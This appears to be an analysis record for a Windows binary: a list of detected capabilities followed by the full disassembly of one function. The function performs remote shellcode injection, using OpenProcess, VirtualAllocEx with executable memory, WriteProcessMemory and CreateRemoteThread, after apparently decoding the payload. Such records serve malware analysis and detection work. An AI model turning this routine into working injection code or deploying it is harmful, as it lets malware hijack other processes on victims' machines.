Function at 0x140007ca0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rdx, [rbp - 0x90]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x90], 0x68
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.140008010
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140007d08
lea rax, str.Could_not_find_the_target_process_n
mov rcx, rax
call fcn.140008100
mov eax, 1
jmp 0x140007f45
mov eax, dword [rbp - 4]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140007d50
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.OpenProcess_failed:__lu_n
mov rcx, rax
call fcn.140008100
mov eax, 1
jmp 0x140007f45
movzx eax, byte [0x1400090d0]
movzx ecx, al
mov rax, qword [0x1400090c0]
mov rdx, qword [rbp + 0x28]
mov r8d, ecx
mov rcx, rax
call fcn.140007fb0
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140007dd9
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.VirtualAllocEx_failed:__lu_n
mov rcx, rax
call fcn.140008100
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140007f45
mov rcx, qword [0x1400090c0]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140007e64
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.WriteProcessMemory_failed:__lu_n
mov rcx, rax
call fcn.140008100
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140007f45
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140007efc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateRemoteThread_failed:__lu_n
mov rcx, rax
call fcn.140008100
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140007f45
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.Shellcode_executed_successfully_n
mov rcx, rax
call fcn.140008100
mov eax, 0
add rsp, 0xf8
pop rdi
pop rbp
ret